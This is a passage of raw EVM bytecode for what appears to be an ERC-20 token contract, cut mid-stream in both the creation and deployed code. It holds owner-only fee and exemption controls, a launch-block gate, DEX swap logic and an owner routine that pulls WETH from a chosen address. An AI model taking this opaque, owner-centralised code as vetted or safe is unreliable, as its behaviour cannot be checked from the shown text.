ff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109589190613463565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906134e3565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe906134e3565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca2906134e3565b60405180910390fd5b60005b8251811015610d3b578160096000858481518110610ccf57610cce613503565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3390613532565b915050610cae565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc5906134e3565b60405180910390fd5b8060178190555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e83906134e3565b60405180910390fd5b600060195414610e9d576000610e9f565b435b601981905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f75906134e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611119576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611110906134e3565b60405180910390fd5b8060188190555050565b60606007805461113290613403565b80601f016020809104026020016040519081016040528092919081815260200182805461115e90613403565b80156111ab5780601f10611180576101008083540402835291602001916111ab565b820191906000526020600020905b81548152906001019060200180831161118e57829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461136c578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112609190612ef6565b602060405180830381865afa15801561127d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a1919061358f565b6040518363ffffffff1660e01b81526004016112be9291906135dd565b6020604051808303816000875af11580156112dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611301919061361b565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561136a573d6000803e3d6000fd5b505b50565b600061137c338484611bce565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140b906134e3565b60405180910390fd5b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611483573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a7919061365d565b90508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161150892919061368a565b6020604051808303816000875af1158015611527573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154b919061361b565b508073ffffffffffffffffffffffffffffffffffffffff166323b872dd86308473ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b81526004016115a39190612ef6565b602060405180830381865afa1580156115c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e4919061358f565b6040518463ffffffff1660e01b8152600401611602939291906136b3565b6020604051808303816000875af1158015611621573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611645919061361b565b5060005b84849050811015611698576116858386868481811061166b5761166a613503565b5b90506020020160208101906116809190612f11565b612082565b808061169090613532565b915050611649565b504360198190555060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016116db9190612ef6565b602060405180830381865afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c919061358f565b905060008111156117a7578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b815260040161176292919061368a565b6020604051808303816000875af1158015611781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a5919061361b565b505b505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611834906134e3565b60405180910390fd5b601660009054906101000a900460ff1615601660006101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611988906134e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790613736565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bc19190612e42565b60405180910390a3505050565b6000611bd984610ea7565b905081811015611c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c15906137a2565b60405180910390fd5b600d60009054906101000a900460ff1615611c4557611c3e848484612528565b505061207d565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cad5750600d60009054906101000a900460ff16155b8015611d035750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d595750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d685750601554600e54115b15611ddb576000839050611d7b30610ea7565b811115611dc557600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b601754811115611dd957611dd881612646565b5b505b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e7f5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e985750600d60009054906101000a900460ff16155b1561206e57600060195411611eac57600080fd5b60019050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f575750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611fad5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561202f57600e6000815480929190611fc590613532565b91905055506000601854111561202e5760185483611fe286610ea7565b611fec91906137c2565b111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490613842565b60405180910390fd5b5b5b601660009054906101000a900460ff16801561204a57508183145b1561206d576305f5e1008361205f9190613891565b8361206a9190613463565b92505b5b61207a858585846128b4565b50505b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561210c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612130919061365d565b90506000600267ffffffffffffffff81111561214f5761214e613029565b5b60405190808252806020026020018201604052801561217d5781602001602082028036833780820191505090505b509050818160008151811061219557612194613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106121e4576121e3613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600267ffffffffffffffff81111561223b5761223a613029565b5b6040519080825280602002602001820160405280156122695781602001602082028036833780820191505090505b509050308160008151811061228157612280613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106122d0576122cf613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123459190612ef6565b602060405180830381865afa158015612362573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612386919061358f565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f88856040518363ffffffff1660e01b81526004016123e7929190613980565b600060405180830381865afa158015612404573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061242d9190613a73565b6001815181106124405761243f613503565b5b602002602001015190508181116124575780612459565b815b90506000810361246d575050505050612509565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795826000878a426040518663ffffffff1660e01b81526004016124d1959493929190613af7565b600060405180830381600087803b1580156124eb57600080fd5b505af11580156124ff573d6000803e3d6000fd5b5050505050505050505b6000600d60006101000a81548160ff0219169083151502179055505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125799190613463565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125cf91906137c2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126339190612e42565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267e5761267d613029565b5b6040519080825280602002602001820160405280156126ac5781602001602082028036833780820191505090505b50905030816000815181106126c4576126c3613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561276b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278f919061365d565b816001815181106127a3576127a2613503565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612863959493929190613b51565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9190613463565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008115612b53576000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156129bc57601454600e54116129b1576010546129b5565b6012545b9050612a29565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a2857601354600e5411612a2157600f54612a25565b6011545b90505b5b600060648286612a399190613bab565b612a439190613891565b90506000811115612b50578083612a5a91906137c2565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa791906137c2565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b479190612e42565b60405180910390a35b50505b8083612b5f9190613463565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ba991906137c2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c479190613463565b604051612c549190612e42565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c9d578082015181840152602081019050612c82565b60008484015250505050565b6000601f19601f8301169050919050565b6000612cc582612c63565b612ccf8185612c6e565b9350612cdf818560208601612c7f565b612ce881612ca9565b840191505092915050565b60006020820190508181036000830152612d0d8184612cba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5482612d29565b9050919050565b612d6481612d49565b8114612d6f57600080fd5b50565b600081359050612d8181612d5b565b92915050565b6000819050919050565b612d9a81612d87565b8114612da557600080fd5b50565b600081359050612db781612d91565b92915050565b60008060408385031215612dd457612dd3612d1f565b5b6000612de285828601612d72565b9250506020612df385828601612da8565b9150509250929050565b60008115159050919050565b612e1281612dfd565b82525050565b6000602082019050612e2d6000830184612e09565b92915050565b612e3c81612d87565b82525050565b6000602082019050612e576000830184612e33565b92915050565b600080600060608486031215612e7657612e75612d1f565b5b6000612e8486828701612d72565b9350506020612e9586828701612d72565b9250506040612ea686828701612da8565b9150509250925092565b600060ff82169050919050565b612ec681612eb0565b82525050565b6000602082019050612ee16000830184612ebd565b92915050565b612ef081612d49565b82525050565b6000602082019050612f0b6000830184612ee7565b92915050565b600060208284031215612f2757612f26612d1f565b5b6000612f3584828501612d72565b91505092915050565b6000612f4982612d29565b9050919050565b612f5981612f3e565b8114612f6457600080fd5b50565b600081359050612f7681612f50565b92915050565b600060208284031215612f9257612f91612d1f565b5b6000612fa084828501612f67565b91505092915050565b600080600080600060a08688031215612fc557612fc4612d1f565b5b6000612fd388828901612da8565b9550506020612fe488828901612da8565b9450506040612ff588828901612da8565b935050606061300688828901612da8565b925050608061301788828901612da8565b9150509295509295909350565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61306182612ca9565b810181811067ffffffffffffffff821117156130805761307f613029565b5b80604052505050565b6000613093612d15565b905061309f8282613058565b919050565b600067ffffffffffffffff8211156130bf576130be613029565b5b602082029050602081019050919050565b600080fd5b60006130e86130e3846130a4565b613089565b9050808382526020820190506020840283018581111561310b5761310a6130d0565b5b835b8181101561313457806131208882612d72565b84526020840193505060208101905061310d565b5050509392505050565b600082601f83011261315357613152613024565b5b81356131638482602086016130d5565b91505092915050565b61317581612dfd565b811461318057600080fd5b50565b6000813590506131928161316c565b92915050565b600080604083850312156131af576131ae612d1f565b5b600083013567ffffffffffffffff8111156131cd576131cc612d24565b5b6131d98582860161313e565b92505060206131ea85828601613183565b9150509250929050565b60006020828403121561320a57613209612d1f565b5b600061321884828501612da8565b91505092915050565b6000819050919050565b600061324661324161323c84612d29565b613221565b612d29565b9050919050565b60006132588261322b565b9050919050565b600061326a8261324d565b9050919050565b61327a8161325f565b82525050565b60006020820190506132956000830184613271565b92915050565b6132a481612f3e565b82525050565b60006020820190506132bf600083018461329b565b92915050565b600080fd5b60008083601f8401126132e0576132df613024565b5b8235905067ffffffffffffffff8111156132fd576132fc6132c5565b5b602083019150836020820283011115613319576133186130d0565b5b9250929050565b6000806000806060858703121561333a57613339612d1f565b5b600061334887828801612d72565b945050602085013567ffffffffffffffff81111561336957613368612d24565b5b613375878288016132ca565b9350935050604061338887828801612da8565b91505092959194509250565b600080604083850312156133ab576133aa612d1f565b5b60006133b985828601612d72565b92505060206133ca85828601612d72565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061341b57607f821691505b60208210810361342e5761342d6133d4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061346e82612d87565b915061347983612d87565b925082820390508181111561349157613490613434565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b60006134cd601183612c6e565b91506134d882613497565b602082019050919050565b600060208201905081810360008301526134fc816134c0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061353d82612d87565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361356f5761356e613434565b5b600182019050919050565b60008151905061358981612d91565b92915050565b6000602082840312156135a5576135a4612d1f565b5b60006135b38482850161357a565b91505092915050565b60006135c78261324d565b9050919050565b6135d7816135bc565b82525050565b60006040820190506135f260008301856135ce565b6135ff6020830184612e33565b9392505050565b6000815190506136158161316c565b92915050565b60006020828403121561363157613630612d1f565b5b600061363f84828501613606565b91505092915050565b60008151905061365781612d5b565b92915050565b60006020828403121561367357613672612d1f565b5b600061368184828501613648565b91505092915050565b600060408201905061369f6000830185612ee7565b6136ac6020830184612e33565b9392505050565b60006060820190506136c86000830186612ee7565b6136d56020830185612ee7565b6136e26040830184612e33565b949350505050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000613720600883612c6e565b915061372b826136ea565b602082019050919050565b6000602082019050818103600083015261374f81613713565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b600061378c601083612c6e565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b9050919050565b60006137cd82612d87565b91506137d883612d87565b92508282019050808211156137f0576137ef613434565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b600061382c600b83612c6e565b9150613837826137f6565b602082019050919050565b6000602082019050818103600083015261385b8161381f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061389c82612d87565b91506138a783612d87565b9250826138b7576138b6613862565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6138f781612d49565b82525050565b600061390983836138ee565b60208301905092915050565b6000602082019050919050565b600061392d826138c2565b61393781856138cd565b9350613942836138de565b8060005b8381101561397357815161395a88826138fd565b975061396583613915565b925050600181019050613946565b5085935050505092915050565b60006040820190506139956000830185612e33565b81810360208301526139a78184613922565b90509392505050565b600067ffffffffffffffff8211156139cb576139ca613029565b5b602082029050602081019050919050565b60006139ef6139ea846139b0565b613089565b90508083825260208201905060208402830185811115613a1257613a116130d0565b5b835b81811015613a3b5780613a27888261357a565b845260208401935050602081019050613a14565b5050509392505050565b600082601f830112613a5a57613a59613024565b5b8151613a6a8482602086016139dc565b91505092915050565b600060208284031215613a8957613a88612d1f565b5b600082015167ffffffffffffffff811115613aa757613aa6612d24565b5b613ab384828501613a45565b91505092915050565b6000819050919050565b6000613ae1613adc613ad784613abc565b613221565b612d87565b9050919050565b613af181613ac6565b82525050565b600060a082019050613b0c6000830188612e33565b613b196020830187613ae8565b8181036040830152613b2b8186613922565b9050613b3a6060830185612ee7565b613b476080830184612e33565b9695505050505050565b600060a082019050613b666000830188612e33565b613b736020830187613ae8565b8181036040830152613b858186613922565b9050613b9460608301856135ce565b613ba16080830184612e33565b9695505050505050565b6000613bb682612d87565b9150613bc183612d87565b9250828202613bcf81612d87565b91508282048414831517613be657613be5613434565b5b509291505056fea264697066735822122025f22c0713ecd0732ec07d310189fcccbfda13438b285b810f39c34365273d0364736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612cf3565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612dbd565b610817565b6040516102529190612e18565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e42565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e42565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612e5d565b61083e565b6040516102e59190612e18565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e42565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612ecc565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612ef6565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f11565b610a27565b6040516103a39190612e18565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612f7c565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f11565b610b19565b6040516104099190612e18565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190612fa9565b610b39565b005b34801561044757600080fd5b50610450610bf1565b60405161045d9190612ef6565b60405180910390f35b34801561047257600080fd5b5061047b610c17565b6040516104889190612e42565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190613198565b610c1d565b005b3480156104c657600080fd5b506104e160048036038101906104dc91906131f4565b610d40565b005b3480156104ef57600080fd5b506104f8610dd8565b6040516105059190613280565b60405180910390f35b34801561051a57600080fd5b50610523610dfe565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f11565b610ea7565b6040516105599190612e42565b60405180910390f35b34801561056e57600080fd5b50610577610ef0565b005b34801561058557600080fd5b5061058e61103c565b60405161059b91906132aa565b60405180910390f35b3480156105b057600080fd5b506105b9611062565b6040516105c69190612ef6565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f191906131f4565b61108b565b005b34801561060457600080fd5b5061060d611123565b60405161061a9190612cf3565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f11565b6111b5565b005b34801561065857600080fd5b50610673600480360381019061066e9190612dbd565b61136f565b6040516106809190612e18565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613320565b611386565b005b3480156106be57600080fd5b506106c76117af565b005b3480156106d557600080fd5b506106de611869565b6040516106eb9190612e18565b60405180910390f35b34801561070057600080fd5b5061071b60048036038101906107169190613394565b61187c565b6040516107289190612e42565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f11565b611903565b005b34801561076657600080fd5b5061076f611abd565b60405161077c9190612ef6565b60405180910390f35b60606006805461079490613403565b80601f01602080910402602001604051908101604052809291908181526020018280546107c090613403565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611ae3565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611bce565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109d95781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109589190613463565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600e5481565b6000600860009054906101000a900460ff16905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906134e3565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe906134e3565b60405180910390fd5b84601181905550836012819055508260138190555081601481905550806015819055505050505050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca2906134e3565b60405180910390fd5b60005b8251811015610d3b578160096000858481518110610ccf57610cce613503565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3390613532565b915050610cae565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff